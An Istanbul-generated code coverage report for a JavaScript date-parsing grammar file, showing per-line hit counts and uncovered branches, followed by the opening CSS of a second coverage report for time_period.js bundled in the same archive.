        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header high">
    <h1>Code coverage report for <span class="entity">core/parsing_grammar.js</span></h1>
    <h2>
        
        Statements: <span class="metric">91.59% <small>(98 / 107)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">56.25% <small>(9 / 16)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">96.55% <small>(28 / 29)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">91.59% <small>(98 / 107)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; parsing_grammar.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">480</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-yes">5440</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1280</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3040</span>
<span class="cline-any cline-yes">320</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2720</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">480</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">20</span>
<span class="cline-any cline-yes">20</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">20</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">1760</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">480</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">1280</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">13</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">451</span>
<span class="cline-any cline-yes">451</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">449</span>
<span class="cline-any cline-yes">449</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">456</span>
<span class="cline-any cline-yes">451</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">91</span>
<span class="cline-any cline-yes">91</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">56</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">20</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">47</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	var $D = Date;
	$D.Grammar = {};
	var _ = $D.Parsing.Operators, g = $D.Grammar, t = $D.Translator, _fn;
	// Allow rolling up into general purpose rules
	_fn = function () {
		return _.each(_.any.apply(null, arguments), _.not(g.ctoken2("timeContext")));
	};
	
	g.datePartDelimiter = _.rtoken(/^([\s\-\.\,\/\x27]+)/);
	g.timePartDelimiter = _.stoken(":");
	g.whiteSpace = _.rtoken(/^\s*/);
	g.generalDelimiter = _.rtoken(/^(([\s\,]|at|@|on)+)/);
  
	var _C = {};
	g.ctoken = function (keys) {
		var fn = _C[keys];
		<span class="missing-if-branch" title="else path not taken" >E</span>if (! fn) {
			var c = Date.CultureInfo.regexPatterns;
			var kx = keys.split(/\s+/), px = [];
			for (var i = 0; i &lt; kx.length ; i++) {
				px.push(_.replace(_.rtoken(c[kx[i]]), kx[i]));
			}
			fn = _C[keys] = _.any.apply(null, px);
		}
		return fn;
	};
	g.ctoken2 = function (key) {
		return _.rtoken(Date.CultureInfo.regexPatterns[key]);
	};
	var cacheProcessRtoken = function (key, token, type, eachToken) {
		if (eachToken) {
			g[key] = _.cache(_.process(_.each(_.rtoken(token),_.optional(g.ctoken2(eachToken))), type));
		} else {
			g[key] = _.cache(_.process(_.rtoken(token), type));
		}
	};
	var cacheProcessCtoken = function (token, type) {
		return _.cache(_.process(g.ctoken2(token), type));
	};
	var _F = {}; //function cache
&nbsp;
	var _get = function (f) {
		_F[f] = (_F[f] || g.format(f)[0]);
		return _F[f];
	};
&nbsp;
	g.allformats = <span class="fstat-no" title="function not covered" >function (fx) {</span>
<span class="cstat-no" title="statement not covered" >		var rx = [];</span>
<span class="cstat-no" title="statement not covered" >		if (fx instanceof Array) {</span>
<span class="cstat-no" title="statement not covered" >			for (var i = 0; i &lt; fx.length; i++) {</span>
<span class="cstat-no" title="statement not covered" >				rx.push(_get(fx[i]));</span>
			}
		} else {
<span class="cstat-no" title="statement not covered" >			rx.push(_get(fx));</span>
		}
<span class="cstat-no" title="statement not covered" >		return rx;</span>
	};
  
	g.formats = function (fx) {
		<span class="missing-if-branch" title="else path not taken" >E</span>if (fx instanceof Array) {
			var rx = [];
			for (var i = 0 ; i &lt; fx.length ; i++) {
				rx.push(_get(fx[i]));
			}
			return _.any.apply(null, rx);
		} else {
<span class="cstat-no" title="statement not covered" >			return _get(fx);</span>
		}
	};
&nbsp;
	var grammarFormats = {
		 timeFormats: function(){
			var i,
			RTokenKeys = [
				"h",
				"hh",
				"H",
				"HH",
				"m",
				"mm",
				"s",
				"ss",
				"ss.s",
				"z",
				"zz"
			],
			RToken = [
				/^(0[0-9]|1[0-2]|[1-9])/,
				/^(0[0-9]|1[0-2])/,
				/^([0-1][0-9]|2[0-3]|[0-9])/,
				/^([0-1][0-9]|2[0-3])/,
				/^([0-5][0-9]|[0-9])/,
				/^[0-5][0-9]/,
				/^([0-5][0-9]|[0-9])/,
				/^[0-5][0-9]/,
				/^[0-5][0-9]\.[0-9]{1,3}/,
				/^((\+|\-)\s*\d\d\d\d)|((\+|\-)\d\d\:?\d\d)/,
				/^((\+|\-)\s*\d\d\d\d)|((\+|\-)\d\d\:?\d\d)/
			],
			tokens = [
				t.hour,
				t.hour,
				t.hour,
				t.minute,
				t.minute,
				t.second,
				t.second,
				t.secondAndMillisecond,
				t.timezone,
				t.timezone,
				t.timezone
			];
&nbsp;
			for (i=0; i &lt; RTokenKeys.length; i++) {
				cacheProcessRtoken(RTokenKeys[i], RToken[i], tokens[i]);
			}
&nbsp;
			g.hms = _.cache(_.sequence([g.H, g.m, g.s], g.timePartDelimiter));
&nbsp;
			g.t = cacheProcessCtoken("shortMeridian", t.meridian);
			g.tt = cacheProcessCtoken("longMeridian", t.meridian);
			g.zzz = cacheProcessCtoken("timezone", t.timezone);
&nbsp;
			g.timeSuffix = _.each(_.ignore(g.whiteSpace), _.set([ g.tt, g.zzz ]));
			g.time = _.each(_.optional(_.ignore(_.stoken("T"))), g.hms, g.timeSuffix);
		 },
		 dateFormats: function () {
			// pre-loaded rules for different date part order preferences
			var _setfn = function () {
				return  _.set(arguments, g.datePartDelimiter);
			};
			var i,
			RTokenKeys = [
				"d",
				"dd",
				"M",
				"MM",
				"y",
				"yy",
				"yyy",
				"yyyy"
			],
			RToken = [
				/^([0-2]\d|3[0-1]|\d)/,
				/^([0-2]\d|3[0-1])/,
				/^(1[0-2]|0\d|\d)/,
				/^(1[0-2]|0\d)/,
				/^(\d+)/,
				/^(\d\d)/,
				/^(\d\d?\d?\d?)/,
				/^(\d\d\d\d)/
			],
			tokens = [
				t.day,
				t.day,
				t.month,
				t.month,
				t.year,
				t.year,
				t.year,
				t.year
			],
			eachToken = [
				"ordinalSuffix",
				"ordinalSuffix"
			];
			for (i=0; i &lt; RTokenKeys.length; i++) {
				cacheProcessRtoken(RTokenKeys[i], RToken[i], tokens[i], eachToken[i]);
			}
&nbsp;
			g.MMM = g.MMMM = _.cache(_.process(g.ctoken("jan feb mar apr may jun jul aug sep oct nov dec"), t.month));
			g.ddd = g.dddd = _.cache(_.process(g.ctoken("sun mon tue wed thu fri sat"),
				function (s) {
					return function () {
						this.weekday = s;
					};
				}
			));
&nbsp;
			g.day = _fn(g.d, g.dd);
			g.month = _fn(g.M, g.MMM);
			g.year = _fn(g.yyyy, g.yy);
&nbsp;
			g.mdy = _setfn(g.ddd, g.month, g.day, g.year);
			g.ymd = _setfn(g.ddd, g.year, g.month, g.day);
			g.dmy = _setfn(g.ddd, g.day, g.month, g.year);
						
			g.date = function (s) {
				return ((g[Date.CultureInfo.dateElementOrder] || <span class="branch-1 cbranch-no" title="branch not covered" >g.mdy)</span>.call(this, s));
			};
		 },
		 relative: function () {
			// relative date / time expressions
			g.orientation = _.process(g.ctoken("past future"),
				function (s) {
					return function () {
						this.orient = s;
					};
				}
			);
&nbsp;
			g.operator = _.process(g.ctoken("add subtract"),
				function (s) {
					return function () {
						this.operator = s;
					};
				}
			);
			g.rday = _.process(g.ctoken("yesterday tomorrow today now"), t.rday);
			g.unit = _.process(g.ctoken("second minute hour day week month year"),
				function (s) {
					return function () {
						this.unit = s;
					};
				}
			);
		 }
	};
&nbsp;
	g.buildGrammarFormats = function () {
		// these need to be rebuilt every time the language changes.
		_C = {};
&nbsp;
		grammarFormats.timeFormats();
		grammarFormats.dateFormats();
		grammarFormats.relative();
&nbsp;
		
		g.value = _.process(_.rtoken(/^([-+]?\d+)?(st|nd|rd|th)?/),
			function (s) {
				return function () {
					this.value = s.replace(/\D/g, "");
				};
			}
		);
		g.expression = _.set([g.rday, g.operator, g.value, g.unit, g.orientation, g.ddd, g.MMM ]);
&nbsp;
		g.format = _.process(_.many(
			_.any(
				// translate format specifiers into grammar rules
				_.process(
					_.rtoken(/^(dd?d?d?(?!e)|MM?M?M?|yy?y?y?|hh?|HH?|mm?|ss?|tt?|zz?z?)/),
						function (fmt) {
							<span class="missing-if-branch" title="else path not taken" >E</span>if (g[fmt]) {
								return g[fmt];
							} else {
<span class="cstat-no" title="statement not covered" >								throw $D.Parsing.Exception(fmt);</span>
							}
						}
					),
					// translate separator tokens into token rules
					_.process(_.rtoken(/^[^dMyhHmstz]+/), // all legal separators 
						function (s) {
							return _.ignore(_.stoken(s));
						}
					)
				)
			),
			// construct the parser ...
			function (rules) {
				return _.process(_.each.apply(null, rules), t.finishExact);
			}
		);
&nbsp;
		// starting rule for general purpose grammar
		g._start = _.process(_.set([ g.date, g.time, g.expression ],
		g.generalDelimiter, g.whiteSpace), t.finish);
	};
&nbsp;
	g.buildGrammarFormats();
	// parsing date format specifiers - ex: "h:m:s tt" 
	// this little guy will generate a custom parser based
	// on the format string, ex: g.format("h:m:s tt")
	// check for these formats first
	g._formats = g.formats([
		"\"yyyy-MM-ddTHH:mm:ssZ\"",
		"yyyy-MM-ddTHH:mm:ss.sz",
		"yyyy-MM-ddTHH:mm:ssZ",
		"yyyy-MM-ddTHH:mm:ssz",
		"yyyy-MM-ddTHH:mm:ss",
		"yyyy-MM-ddTHH:mmZ",
		"yyyy-MM-ddTHH:mmz",
		"yyyy-MM-ddTHH:mm",
		"ddd, MMM dd, yyyy H:mm:ss tt",
		"ddd MMM d yyyy HH:mm:ss zzz",
		"MMddyyyy",
		"ddMMyyyy",
		"Mddyyyy",
		"ddMyyyy",
		"Mdyyyy",
		"dMyyyy",
		"yyyy",
		"Mdyy",
		"dMyy",
		"d"
	]);
	
	// real starting rule: tries selected formats first, 
	// then general purpose rule
	g.start = function (s) {
		try {
			var r = g._formats.call({}, s);
			<span class="missing-if-branch" title="if path not taken" >I</span>if (r[1].length === 0) {
<span class="cstat-no" title="statement not covered" >				return r;</span>
			}
		} catch (e) {}
		return g._start.call({}, s);
	};
}());</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
time_period.js.html000066600000053644152444006550010372 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/time_period.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
